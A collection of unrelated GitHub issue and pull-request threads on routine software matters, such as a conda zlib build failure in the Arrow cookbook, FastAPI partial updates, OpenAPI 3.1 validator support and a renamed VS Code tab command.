[C++] C++ cookbooks are failing to find zlib

C++ cookbooks fail with (https://github.com/apache/arrow-cookbook/actions/runs/5977593937/job/16217896402):
-- Could NOT find ZLIB (missing: ZLIB_LIBRARY) (found version "1.2.11")
-- Could NOT find ZLIB (missing: ZLIB_LIBRARY) (found version "1.2.11")
...
...
... OTHER NOT RELEVANT LOGS
...
...
CMake Error at /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCTargets.cmake:61 (set_target_properties):
  The link interface of target "gRPC::address_sorting" contains:
-- Generating done (0.0s)

    ZLIB::ZLIB

  but the target was not found.  Possible reasons include:

    * There is a typo in the target name.
    * A find_package call is missing for an IMPORTED target.
    * An ALIAS target is missing.

Call Stack (most recent call first):
  /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCConfig.cmake:23 (include)
  CMakeLists.txt:81 (find_package)

CMake Error at /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCTargets.cmake:70 (set_target_properties):
  The link interface of target "gRPC::gpr" contains:

    ZLIB::ZLIB

  but the target was not found.  Possible reasons include:

    * There is a typo in the target name.
    * A find_package call is missing for an IMPORTED target.
    * An ALIAS target is missing.

Call Stack (most recent call first):
  /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCConfig.cmake:23 (include)
  CMakeLists.txt:81 (find_package)

CMake Error at /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCTargets.cmake:97 (set_target_properties):
  The link interface of target "gRPC::grpc++" contains:

    ZLIB::ZLIB

  but the target was not found.  Possible reasons include:

    * There is a typo in the target name.
    * A find_package call is missing for an IMPORTED target.
    * An ALIAS target is missing.

Call Stack (most recent call first):
  /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCConfig.cmake:23 (include)
  CMakeLists.txt:81 (find_package)

CMake Error at /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCTargets.cmake:169 (set_target_properties):
  The link interface of target "gRPC::upb" contains:

    ZLIB::ZLIB

  but the target was not found.  Possible reasons include:

    * There is a typo in the target name.
    * A find_package call is missing for an IMPORTED target.
    * An ALIAS target is missing.

Call Stack (most recent call first):
  /usr/share/miniconda/envs/cookbook-cpp-dev/lib/cmake/grpc/gRPCConfig.cmake:23 (include)
  CMakeLists.txt:81 (find_package)

CMake Generate step failed.  Build files cannot be regenerated correctly.

I wanted to fix this but I'm not sure I'm familiar enough with how conda works yet. Here's what I found in case it helps:
I first confirmed I get the same failure as above and then fixed it by installing zlib manually from conda after I create my env. So I guess that's a short-term fix. Since zlib isn't a new requirement, I wondered why it wasn't being installed when CI creates a new conda env from cpp/dev.yml. When I do a dry run against it (conda env create -d -n foo -f cpp/dev.yml), zlib isn't listed whereas it is listed if I do dry run on macOS. Is there a good way to find out how a particular dep (zlib) gets pulled in?

It looks like it installs libzlib, which has libz.so, but not the header. zlib contains the actual header.
I suppose:

Arrow depends on zlib at build time, but only libzlib at runtime.
This is sufficient for anyone just linking to Arrow.
But if you also want to link to zlib yourself, you need to also install the headers.
I'm not sure what the policy of conda-forge is on transitive compilation dependencies: gRPC appears to require zlib as well if you want to build against gRPC, but of course if you're just using gRPC that's not necessary.
So we should just explicitly list zlib. (I think.)

> jq .files $CONDA_PREFIX/conda-meta/libzlib-1.2.13-hd590300_5.json                                                                                (arrow-cookbook)
[
  "lib/libz.so.1",
  "lib/libz.so.1.2.13"
]
> jq .files $CONDA_PREFIX/conda-meta/zlib-1.2.13-hd590300_5.json                                                                                (arrow-cookbook)
[
  "include/zconf.h",
  "include/zlib.h",
  "lib/libz.a",
  "lib/libz.so",
  "lib/pkgconfig/zlib.pc"
]

Thanks @lidavidm. I think explicitly listing zlib makes sense as a fix here. I'll send in a PR in a sec.
Since I assume this CI job worked at some point, I wanted to check to see what changed. If I create stable and dev conda environments for the cookbook locally, the stable env appears to get zlib via libgrpc so something must have changed between libgrpc 1.54.3 and 1.56.2.
cookbook-cpp (stable)
$ jq .depends $CONDA_PREFIX/conda-meta/libgrpc-1.54.3-hb20ce57_0.json
[
  "c-ares >=1.19.1,<2.0a0",
  "libabseil * cxx17*",
  "libabseil >=20230125.3,<20230126.0a0",
  "libgcc-ng >=12",
  "libprotobuf >=3.21.12,<3.22.0a0",
  "libstdcxx-ng >=12",
  "libzlib >=1.2.13,<1.3.0a0",
  "openssl >=3.1.1,<4.0a0",
  "re2 >=2023.3.2,<2<IP_ADDRESS>a0",
  "zlib"
]

cookbook-cpp-dev (dev)
$ jq .depends $CONDA_PREFIX/conda-meta/libgrpc-1.56.2-h3905398_1.json
[
  "c-ares >=1.19.1,<2.0a0",
  "libabseil * cxx17*",
  "libabseil >=20230125.3,<20230126.0a0",
  "libgcc-ng >=12",
  "libprotobuf >=4.23.3,<<IP_ADDRESS>a0",
  "libstdcxx-ng >=12",
  "libzlib >=1.2.13,<1.3.0a0",
  "openssl >=3.1.2,<4.0a0",
  "re2 >=2023.3.2,<2<IP_ADDRESS>a0"
]

@raulcd do you want to look at https://github.com/apache/arrow-cookbook/pull/328?


Implement animations

As designed by Martin  we should implement animations in the component.
So far animations are in these parts:

Screen transitions -> slides
On hover some elements -> change shadow.

Approaches/suggestions up for discussion :)

Native CSS for hover shadow changes, via :hover in our styled components.
ReactCSSTransitionGroup  or react-motion or something JS-based for page sliding.

As we discussed:
Since there is quite a loading time between the different categories it would be overwhelming to mix loading animation and transition animation together. We decided not to implement any transition as of now.


Rails 7

Try out the project, as is, with Rails 7 and see if it works. I'd like to get away from CRA + Webpack and use Rails 7 + esbuild.

I am starting to no longer want to have Rails doing any JS bundling at all. Ideally, our production builds can be served on modern hosts like Vercel, while our Rails API is freed to be Dockerized and used with a provider that supports HTTP/2. We have quite few sequential network loads, and Heroku doesn't seem to want to support HTTP/2 anytime in the future.
Upgrade to Rails 7, and call it a day.


Added check for over-sized heap allocation

Problem
The HTTPS OTA updater will fail if there is insufficient memory for the OTA buffer.
Solution
I've added a check that compares the largest available heap size with the buffer size being requested.  If the buffer size being requested is larger than the largest available heap size, the buffer is resized appropriately.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@gregjesl
Can you please help with scenario which required this fix?
If statistics of heap are such that it can not satisfy allocation for OTA buffer, is that good point for system OTA? I wonder if explicit failure is rather better way for early notification. Even for default WiFi configuration, it needs significant amount of free heap (in order of 8-10K, with each buffer size exceeding 1600 bytes each), so there is high probability of OTA failure even if this fix is applied.

@mahavirj I'm actually going to close this pull request because the pull request accidentally contained some tweaks specific to our application.  If I get some free time I'll resubmit using a proper branch.

Can you please help with scenario which required this fix?

Absolutely.  Our binaries are ~1.3 MB.  Using the default buffer size resulted in downloads that took more than 5 minutes.  We are using Azure Functions as the file server; the default timeout for an HTTP request using Azure Functions is 5 minutes meaning the OTA update was being interrupted.  Increasing the buffer size increased the download speed ~20%; however, we're running an HTTP server and an MQTT client that uses SSL among other tasks, so our memory is tight.  We saw on some occasion that our "large" buffer failed to allocate.

If statistics of heap are such that it can not satisfy allocation for OTA buffer, is that good point for system OTA? I wonder if explicit failure is rather better way for early notification.

I can't speak for other applications but in our application OTA failures are very bad.  If we can't update the unit, then we run the risk of "bricking" units.  A good testing regimen will reduce the risk but we want to make an OTA failure risk as low as possible.


Chapter 4 PostPartialUpdate model errors after meeting response_model=PostPublic

Edit
Below is no longer an issue. My confusion arose because I set exclude_unset=False to investigate its effects, then gave only {"title": "string"} when calling the endpoint. This combination leads to Internal Server Error which prompted this issue.
If we do it properly by setting exclude_unset=True, there are no issues with the question below

To allow user to call update endpoint with only title, with only content, and with none of both?

Nevertheless the investigations on effects of exclude_unset=False could be helpful to other readers.
There are 2 independent dimensions of experimentation

exclude_unset True/False
Include both title and content when calling, or have one of/both missing

This post is half error reporting and half what I wish was explained better.
I was testing chapter4_working_pydantic_objects_05.py.
First I edited the file to set up dummy data because it was empty and cannot be tested (will always get 404)
class DummyDatabase:
    posts: Dict[int, PostDB] = {1:PostDB(id=1,title='title1',content='content1',nb_views=10)}

Then from automated docs, I called the endpoint with {"title": "string"}, intentionally leaving out content key that was suggested by the docs (or else cannot see effect of exclude_unset=True).
Then terminal errors with
/site-packages/fastapi/routing.py", line 138, in serialize_response
    raise ValidationError(errors, field.type_)
pydantic.error_wrappers.ValidationError: 1 validation error for PostPublic
response -> content

I guess this is because PostPublic which was inherited from PostBase which had content:str type which did not allow None.
Question:
So how do we make this work? (To allow user to call update endpoint with only title, with only content, and with none of both?).
Making fields in PostBase optional doesn't seem like the correct way to handle this.
On a separate but related issue, this lesson could have been clearer on how a user could understand the effects of exclude_unset=True. To look at what this parameter is doing, and to solve the above issue, I

removed response_model=PostPublic from the path decorator so it doesn't constrain response types (which solves this issue, probably wrongly though)
Added print(updated_fields) to the code
called the update endpoint with  {"title": "string"} (you won't see the effect of exclude_unset if you used default {"title": "string", "content": "string"} suggested by automated docs)

Response Body:

exclude_unset=True

{
  "title": "string",
  "content": "content1",
  "id": 1,
  "nb_views": 10
}

print(updated_fields) gives {'title': 'string'}

exclude_unset=False (default)

{
  "title": "string",
  "content": null,
  "id": 1,
  "nb_views": 10
}

print(updated_fields) gives {'title': 'string', 'content': None}
Explanation
When exclude_unset=False, the update endpoint was not given content key when called. PostPartialUpdate did not exclude what was unset/not given (content), so it filled in content with None from content: Optional[str] = None. This content:None was then put into the response through post_db.copy(update=updated_fields).
When exclude_unset=True, the update endpoint was also not given the content key when called. PostPartialUpdate excluded what was not unset/not given (content), so updated_fields contains only the title, leaving content as the original hardcoded value

I'm not sure what your question is here but to be more clear about exclude_unset: it's a way to tell Pydantic to give us only the fields that were actually given in the request and discard the others.
So if we have a model like this:
class PostPartialUpdate(BaseModel):
    title: Optional[str] = None
    content: Optional[str] = None

And we make this request:
{"title": "hello"}

Here is what we get without and with exclude_unset:
updated_fields = post_update.dict()
print(updated_fields)  # {"title": "hello", "content": None}

updated_fields = post_update.dict(exclude_unset=True)
print(updated_fields)  # {"title": "hello"}

With exclude_unset, only title is output in the dictionary, not content.
This is useful for partial updates, when we want to update only a subset of fields without having to repeat the fields that are not changing.
It's important because when we're doing this:
updated_post = post_db.copy(update=updated_fields)

We override every fields set in updated_fields.
In your experiment with exclude_unset=False, updated_fields was {"title": "hello", "content": None}. Hence, we also set content to None. This is not valid for the PostPublic, because content is required and can't be None, hence the error you were getting.

Thanks for this example. I was initially doubting the code provided was able to handle incomplete inputs like

{}
{'title': 'string'}
{'content': 'string'}

because i received internal server error.
Later i realized that was because i set exclude_unset=False when testing incomplete inputs.
If i had left exclude_unset=True as given, there's nothing wrong with the code in handling incomplete inputs.

Yes, with exclude_unset=False, that's totally expected :)
Cheers!


x/sys/windows: RawSockaddr uses a signed int array for the Data field

What version of Go are you using (go version)?

$ go version
go version go1.15 windows/amd64

Does this issue reproduce with the latest release?
It should as it's still written as is here.
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
set GO111MODULE=on
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\Artificial Amateur\AppData\Local\go-build
set GOENV=C:\Users\Artificial Amateur\AppData\Roaming\go\env
set GOEXE=.exe
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GOINSECURE=
set GOMODCACHE=C:\Users\Artificial Amateur\go\pkg\mod
set GONOPROXY=
set GONOSUMDB=
set GOOS=windows
set GOPATH=C:\Users\Artificial Amateur\go
set GOPRIVATE=
set GOPROXY=https://proxy.golang.org,direct
set GOROOT=C:\Go
set GOSUMDB=sum.golang.org
set GOTMPDIR=
set GOTOOLDIR=C:\Go\pkg\tool\windows_amd64
set GCCGO=gccgo
set AR=ar
set CC=gcc
set CXX=g++
set CGO_ENABLED=1
set GOMOD=Z:\go-netstat\go.mod
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOGCCFLAGS=-m64 -mthreads -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=C:\Users\ARTIFI~1\AppData\Local\Temp\go-b
uild667920362=/tmp/go-build -gno-record-gcc-switches

What did you do?
Ran windows syscall of GetAdaptersAddresses and printed the value of IpAdapterAddresses.FirstUnicastAddress.Address.Sockaddr.Addr.Data
What did you expect to see?
[0 0 172 16 19 129 0 0 0 0 0 0 0 0]
What did you see instead?
[0 0 -84 16 19 -127 0 0 0 0 0 0 0 0]
This is a minor issue with a simple change of making the Data field of type uint8 or byte.

WinAPI uses a char https://docs.microsoft.com/en-us/windows/win32/winsock/sockaddr-2
I dont agree with it when the other address structs (in_addr) use bytes, but it's the golang code matches.


OpenAPI v3.1 Support

Hello everyone! As the maintainer of openapi.tools I'm interested in tracking progress towards supporting OpenAPI v3.1.
It's got a bunch of amazing changes in it, solving problems like the the JSON Schema <!=> OpenAPI Schema Object divergence, and fixes some other inconsistencies and duplicate ways of doing things. It's the best version and everyone should be using it, and I see that some folks are starting to use it as they're getting problems #148. We need the tooling to catch up, and its been over a year now. Just in case folks didn't notice, I'm here to give a friendly prod!
Here are a few articles showing off the differences between OpenAPI v3.0 and v3.1.
https://www.openapis.org/blog/2021/02/16/migrating-from-openapi-3-0-to-3-1-0
https://www.apimatic.io/blog/2021/09/migrating-to-and-from-openapi-3-1/
https://nordicapis.com/whats-new-in-openapi-3-1-0/
If you say you'll be working on it I can update openapi.tools to reflect that.
Let me know if you have any questions, or if you need any help with the upgrade process.

Support of OpenAPI 3.1 in this library heavily depends on cebe/php-openapi. Progress of that is tracked here: https://github.com/cebe/php-openapi/issues/101

If you say you'll be working on it I can update openapi.tools to reflect that.

@philsturgeon please update openapi.tools status for thephpleague/openapi-psr7-validator and cebe/php-openapi to WIP.

@cebe done, thanks for the update!

With #185 merged, can we get a tagged release?

released as 0.19

We can probably close this now that #185 has been merged and released.

Am I correct in understanding that OpenAPI v3.1 is now largely supported, with the exception of the "unevaluatedProperties" keyword?

@Tim-Haboldt depends very much of what you mean by that. Any tool using a compliant JSON Schema tool will support unevaluatedProperties through validation or similar, but a lot of documentation tools might not know how to show that (or various other new things).
A tool like this validator really should support it, and there should be a JSON Schema floating around in PHP land that brings support for it in "free".

Hi @philsturgeon, I saw that openapi.tools state that thephpleague/openapi-psr7-validator is compatible with OpenAPI 3.1.
I look at the cited PR #185 that seems to make think that the whole package where now 3.1 compliant.
The PR change the vendor cebe/php-openapi, in favor of @DEVizzent's fork, as the support for 3.1 seems stale.
But by reading the cebe/php-openapi first sentences in readme:

Read and write OpenAPI 3.0.x YAML and JSON files and make the content accessible in PHP objects.
It also provides a CLI tool for validating and converting OpenAPI 3.0.x Description files.
But there is only OpenAPI objects and validation of the description, no traces of data validation here.

And by reading some PR like #203, it seems that thephpleague/openapi-psr7-validator may have OpenAPI 3.1 objects but does not apply OpenAPI 3.1 specification.

I dug a bit deeper into the project, and found out indeed that despite the use of OpenAPI 3.1 objects to carry the specification, the validation itself doesn't have a full support of 3.1.
The validation of schema was built for OpenAPI 3.0, therefore a similar but not full valid JSON Schema object. There was an attempt with #185 to migrate to 3.1, but the full compliance with JSON Schema bringing the multi types is incompatible with the current architecture of the repo.
For example, an operation with a schema like below, will fail its validation against an integer 2.
{
    "type": [
      "string",
      "integer"
    ],
    "maxLength": 2
}

By looking at the SchemaValidator::validate, it validates keywords like type, items, maxLength, ... one by one, one after the other, independently of each other. Meaning that for the example above, the validation of the keyword type will be ok, but maxLength will fail, despite the type integer being allowed.
An idea to fix the repo and make it closer to OpenAPI v3.1, at least for the schema validation, is to ditch the whole homemade JSON schema validation from the project in favor of an existing one. The rest of the repo itself is well-made and can act as a bridge between PSR-7 messages and the new validator.
According to Bowtie, the only PHP package available for JSON Schema draft versions from "Draft 7" to "Draft 2020-12" is opis/json-schema.
I'll keep digging and try to find out if it's possible to replace prior validation with opis/json-schema.


Code Review

Overview
Changes
API Updates
New Features (required)
Deprecations (required)
Enhancements (required)
Checklist

[ ] Interrogate has > 70% coverage
[ ] All tests have passed (new tests are made)
[ ] Total test coverage > 75%
[ ] New code test coverage > 80%
[ ] Pass all linting checks

References

Codecov Report

:exclamation: No coverage uploaded for pull request base (code_review@88105cf). Click here to learn what that means.
The diff coverage is n/a.

@@              Coverage Diff               @@
##             code_review       #1   +/-   ##
==============================================
  Coverage               ?   85.71%
==============================================
  Files                  ?        6
  Lines                  ?       42
  Branches               ?        0
==============================================
  Hits                   ?       36
  Misses                 ?        6
  Partials               ?        0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 88105cf...8bb6ea2. Read the comment docs.


JSX ternaries with parens indent oddly

I often use parens with JSX ternaries to align opening and closing blocks, so that each "if" or "child" indentation is just one more indentation level deep:

prettier, like many AST-based JSX formatters, strips the parens and moves the opening tag of each JSX element up to where the paren was, which looks weird:

Yep, I'm not sure if we'll get it 100% to the original example, but I agree that it looks better. JSX still needs several tweaks.

It's a bit difficult AST considering parens as their own node (which they aren't syntactically). But maybe we could try to detect this case in situations where it's most common, like ternaries, arrow function expressions, etc.
Here's an example of it in arrow function expressions:
<Something>
  {() => (
    <SomethingElse>

    </SomethingElse>
  )}
</Something>

prettier currently outputs:
<Something>
  {() => <SomethingElse>

    </SomethingElse>}
</Something>;

This is closely related to #73. So I am closing this in favour of that issue. You can file a new bug or reopen this if the problem still exists after that issue is solved.


Provide custom getWidth prop for Responsive, defaulting to use window.innerWidth; also, test and performance fixes

Implements #2614

Revert #2531, as it breaks Responsive's integration with Semantic UI's breakpoints. This ensures Responsive uses window.innerWidth as the default calculation for screen width. document.documentElement.clientWidth does not use the scrollbar in its calculation.

Fix false-positive tests in Responsive-test.js. chai-enzyme provides assertion helpers blank() and present(), which were being used as if they were opposites. They are not opposites. For a wrapper to be empty(), it must also be present(). Tests have been updated to use not.empty() and empty(), which are opposites. Also, the resizing test was using enzyme's shallow(), but mount() was needed to support state change and updating render.

Add optional getWidth property to Responsive. The property is a function that returns the width of the screen. This property defaults to a function that returns window.innerWidth for browsers and 0 for non-browsers. @Autarc or anyone else wanting to use document.documentElement.clientWidth as discussed in #2531 can do so using <Responsive getWidth={() => document.documentElement.clientWidth} />.

Prevent Responsive from updating render when window.resize is triggered, but width does not change. Responsive currently updates on mobile devices when scrolling and the url bar displays and hides. This happens because the height of the window is changing, triggering window.resize. This update allows Responsive to ignore these events. onUpdate will still be invoked.

Codecov Report

Merging #2621 into master will decrease coverage by 0.07%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master    #2621      +/-   ##
==========================================
- Coverage   99.74%   99.67%   -0.08%
==========================================
  Files         160      160
  Lines        2748     2750       +2
==========================================
  Hits         2741     2741
- Misses          7        9       +2

Impacted Files
Coverage Δ

src/addons/Responsive/Responsive.js
100% <100%> (ø)
:arrow_up:

src/modules/Search/Search.js
98.39% <0%> (-1.07%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9b4f0e3...c2f76d6. Read the comment docs.

Maybe the way I did the default getWidth doesn't look the best in the docs.

I'd be more than welcome to remove it from the defaultProps and implement it another way.

Released in<EMAIL_ADDRESS>


Implementation needed

@michalkalinowski- Can you open a PR against this repo with your implementation?  Thank you!

Sure, let me update license first. I'm currently on holidays till the end of the week so I may be a bit slow to reply

Great. Thank you 😃

Hi @michalkalinowski- any news on this?

Hi @michalkalinowski- are you still able to help with this?

Sorry @ianpartridge i was offline for the most part of the last month. I'm preparing a PR, just need to migrate my code to DEVELOPMENT-SNAPSHOT-2016-06-20-a

Great - looking forward to it.

Hello, here's my fork: https://github.com/michalkalinowski-/Kitura-Request/tree/repo_merge
Unfortunately I can not open PR just like that as my changes rewrite history of this repo so they need to be force applied. Any idea how to proceed?

Hmm, is it essential to keep your commit history so far?

I agree, why not just create a new fork of the Kitura-Request repo and copy your files....

@michalkalinowski- we'd still love to receive a PR for this... :)


How thread safe is the library (file system/transport)

Hi,
I wanted to know how thread-safe is the library.
I understand FileSystem isn't a thread-safe implementation. But what about concurrent read access? What about thread safety in the transport library (two goroutines doing a git.Push or one doing git.Push and other git.Pull)?

Unfortunately it is not thread safe. Very few data structures which mutate during the course of operations have been protected with locks or other synchronization mechanisms.
One way to introduce concurrency in an application that uses go-git is to instantiate multiple Repository and Storer instances for use from different go-routines. However, please note that leveraging file system locking was only recently introduced on the master branch and it is not always used when performing updates to git references, so you many still experience some racy behavior when using file-backed Repositories pointed at the same .git directory.

Thanks for the quick reply.
Closing the ticket.


Release 20241119

PiperOrigin-RevId: 697718489

Enumerating short summary of major changes (v4.1.0):

Uses label aiinfra/<HC>-healthcheck-runtime-sec instead of aiinfra/<HC>-healthcheck-valid-till-sec
All health checks use Helm chart (for Kubernetes & GKE)
NCCL topology-aware testing available (defaults to 'random node' pairing)
NCCL second pass support


NTLM: cloneable body

This is a proposal to merge into #820. It's complicated enough that I think it could use its own review.
Instead of buffering the entire request body into an in-memory byte buffer, this uses an internal cloneableBody type that only buffers up to 1MB. Any overflow is then written to a local temp file. This type can also clone itself without reading the body again. It simply creates a new struct with the same 1MB byte buffer, and re-opens the temp file.
Also, assuming all file handles are properly closed, a cloneableBody buffer will only delete the tempfile when the last one is closed.

Other than some variable names this looks awesome.


Slight cleanup on axial expansion changer

Description
Cleaning out unnecessary and confusing functionality.

Removing the optional parameter thermal: bool = False from axiallyExpandAssembly. It is no longer needed and is not used in thermal expansion applications. To avoid confusion on its use, it is removed here.
With this change, axial expansion is always done relative to the current block height. This will improve consistency and should improve clarity and use.

Also resolving several pylint messages.
Existing unit tests did not need updating to reflect this change/cleanup.
Still working out downstream effects and affected projects.

Checklist

[x] This PR has only one purpose or idea.
[x] Tests have been added/updated to verify that the new/changed code works.

[x] The code style follows good practices.
[x] The commit message(s) follow good practices.

[ ] The release notes (location doc/release/0.X.rst) are up-to-date with any bug fixes or new features.
[x] The documentation is still up-to-date in the doc folder.
[x] The dependencies are still up-to-date in setup.py.

Coverage drop seems to be coverage spray. Both files changed in this PR did not have any change in coverage.

@albeanth, let's chat offline but id like to know the enabler for being able to get rid of needing to reference the BOL height for thermal expansion. It makes sense to me, but maybe it's not super clear in the description of the PR why this is

Simple conflict. I'd resolve it for you, but it's in your forked repo.


Fix IE bug

Description
The "update: sort-desc" isn't valid sytax, which seems to not do anything in other browsers, but breaks IE.
Taking it out, and the default trigger, because the API brings it back with appropriate sort.

Types of changes

Checklist

[ ] I have read the CONTRIBUTING doc
[ ] I have checked that unit tests pass locally with my changes
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] I have added necessary documentation (if appropriate)

Further comments

Merging to dev for testing with enough data


multiple urlResourceOwnerDetails endpoints

Hello,
I want to combine the attributes of:

https://graph.microsoft.com/v1.0/me
https://graph.microsoft.com/v1.0/me/memberOf

To do this, I wanted to set an array for urlResourceOwnerDetails.
I checked the code and it appears only one endpoint is allowed for urlResourceOwnerDetails
I was thinking about replacing it with string or array.
To support multiple endpoints, but I do not know if this is the recommended approach.
Thank you in advance for your feedback.

I found my solution.
$request = $provider->getAuthenticatedRequest('GET', 'https://graph.microsoft.com/v1.0/me/memberOf', $accessToken);
$result = $provider->getParsedResponse($request);


Fix-selection of correct table row data after sort, search and filter

This doesn't seem to fix the issue. I can now no longer see the selectedRow bindings update even when I haven't added any filters or search keyword or sorting on any of the columns.


Force preg_grep to match entire value using start and end characters

Issue
When using the distinct:ignore_case flag during validation it will fail when evaluating integers; specifically, if the value being checked contains the integer under validation.
Example
Using 'foo.*' => 'distinct:ignore_case' with data such as 'foo' => ['1', '11'] will fail since 11 contains 1.
Similarily, using 'foo.*' => 'distinct:ignore_case' with data such as 'foo' => ['2', '425'] will fail since 425 contains 2.
Cause
The preg_grep() pattern does not contain the start (^) and end ($) characters which leads to the function returning partial matches.
Solution
Add the start (^) and end ($) characters to the preg_grep() pattern.

It seems you targeted the wrong branch when created this PR.

Not sure where I got mixed up; will submit a new, correct, PR.


Update munit-cats-effect-3 to 1.0.5

Updates org.typelevel:munit-cats-effect-3 from 1.0.2 to 1.0.5.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel", artifactId = "munit-cats-effect-3" } ]

labels: library-update, semver-patch

Superseded by #75.


(chore) Minor Markdown tweaks

I just ran this through markdownlint. Your call about adding prettier, although it should definitely be more consistent.
Which reminds me, I missed the docs. I will update the PR.

@XhmikosR markdownlint would totally be fine too 👍 I'd just be tempted to try to automate this process, as well as checking in the fixes; make npm run lint fail if markdownlint fails.

I am not a fan of prettier for JS code.  The demands it makes about line length are very annoying and IMO actually make the code more difficult to read.
I don't know what prettier would do the markdown, I don't have a strong opinion about using prettier for things that are not JS.

I don't have a strong opinion about the linter we use, but if we want to enforce a style on folks, I like it to be automated ... otherwise contributors end up getting feedback on their edits to README.md based on conventions floating around in someone's head.

TBH I don't like prettier either. Not sure how it performs on Markdown files.
An alternative would be to use remark-lint or markdownlint. Again, I'm not sure how good their autofix works, which is the strong point of prettier.

I'm in favor of adding markdownlint as a dev dependency and running it from npm run lint.

I could make a PR with markdownlint-cli, just keep in mind its auto-fixing it's not like prettier where everything is fixed for the user (IIRC).

Just so we are safe, are the doc Markdown files used somewhere else apart from GitHub?

README.md of the latest release is displayed at https://npmjs.com/package/nyc.  Other than that I think it's github only.
Oh before I forget CHANGELOG.md would need to be excluded by any automated lint, it is automatically generated by standard-version.

OK, so we should be fine. I think this PR can be merged and I'll try to make a PR for markdownlint later.

I talked with @bcoe and we feel that using prettier would be OK as long as it were configured to ignore JS and TS code.  I'm actually leaning towards using xo for the actual linter but if you don't mind please allow me to push that change as I'll likely want to disable a couple rules and it's easier for me to make those decisions if I work through the switch myself.

Your project, your call :)
I actually did use xo in https://github.com/istanbuljs/nyc/pull/1253#issuecomment-569305690 but with a config pretty opinionated so that I ignored the style changes


Activating Open Collective

This pull request adds backers and sponsors from your Open Collective https://opencollective.com/fuse-box ❤
It adds two badges at the top to show the latest number of backers and sponsors. It also adds placeholders so that the avatar/logo of new backers/sponsors can automatically be shown without having to update your README.md. [more info]
See how it looks on this repo.
We have also added a postinstall script to let people know after npm|yarn install that you are welcoming donations. [More info]

Thanks!!


Pom cleanup & demo automation

@thesuperzapper this is now up, with full demo automation.. FYI

CI has passed 4 times in a row now. I think its stable enough to merge


IGNITE-19893: Sql. Add plan checks to BaseIndexDataTypeTest.

Adds index usage checks to BaseIndexDataTypeTest. In addition to that fixes the issue with VARBINARY, mentioned in issue's comment.

Updates *DataTypeTests to use literals, when type supports literals (UUID tests use CAST('str' AS UUID), VARBINARY tests use HEX literals).
Adds additional tests cases for index usage for varbinary type.

https://issues.apache.org/jira/browse/IGNITE-19893

Thank you for submitting the pull request.
To streamline the review process of the patch and ensure better code quality
we ask both an author and a reviewer to verify the following:
The Review Checklist

[ ] Formal criteria: TC status, codestyle, mandatory documentation. Also make sure to complete the following:
- There is a single JIRA ticket related to the pull request.
- The web-link to the pull request is attached to the JIRA ticket.
- The JIRA ticket has the Patch Available state.
- The description of the JIRA ticket explains WHAT was made, WHY and HOW.
- The pull request title is treated as the final commit message. The following pattern must be used: IGNITE-XXXX Change summary where XXXX - number of JIRA issue.
[ ] Design: new code conforms with the design principles of the components it is added to.
[ ] Patch quality: patch cannot be split into smaller pieces, its size must be reasonable.
[ ] Code quality: code is clean and readable, necessary developer documentation is added if needed.
[ ] Tests code quality: test set covers positive/negative scenarios, happy/edge cases. Tests are effective in terms of execution time and resources.

Notes

Apache Ignite Coding Guidelines

Unmuted ItVarBinaryExpressionTest::testCastToDifferentLengthsWithDynamicParameters

@lowka can you merge fresh main plz ?

@zstan Merged the latest main into this PR.


Toggle Tab Visibility is not found on version 1.84.2

At VSCode 1.7x.x I assign a keyboard shortcut to hide tabs visibility. It looks like this.
``
// keybindings.json
{
"key": "ctrl+t ctrl+t",
"command": "workbench.action.toggleTabsVisibility"
}
``
Then updating to 1.84.2 shows command workbench.action.toggleTabsVisibility not found. Is it removed or is there new command for that?

See your SO question: https://stackoverflow.com/questions/77476579/workbench-action-toggletabsvisibility-command-is-missing-after-1-84-2-update
There are 2 good responses there.

In the last update we changed the workbench.editor.showTabs setting from a boolean value to an enum (multiple, single, none). Due to this change we can't support the old command anymore, however, we added 3 new commands:

workbench.action.showMultipleEditorTabs
workbench.action.showEditorTab
workbench.action.hideEditorTabs

This means you can create the same shortcut as you previously had. Mark has posted a good answer to your question on Stack Overflow. If you use his suggested keybinding, the behaviour should be identical to how it used to be.


Incorporate Italian arrivals numbers into situation dashboard

There possibly will be a spike in use of the Italian route and anyways, we have the data -- can't hurt to add the data. Will need a center point for Italy and the corresponding js code etc. Rachel will handle the arrivals numbers and place them in the same arrivals Google sheet.

UNHCR only has monthly for 2015 at the moment. Sending query to see if we can get access to some more up-to-date datasets for Italy

Any update on this?

No -- spoke to UNHCR and IOM and Italian Ministry is slow in releasing arrivals data. I'll look into the IOM weekly trends and see if I can get some data for us -- will let you know.


Error Levels

Most programs report error levels with a value less than 1, so the note's IF script should only be
IF ERRORLEVEL 0 GOTO Okay

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

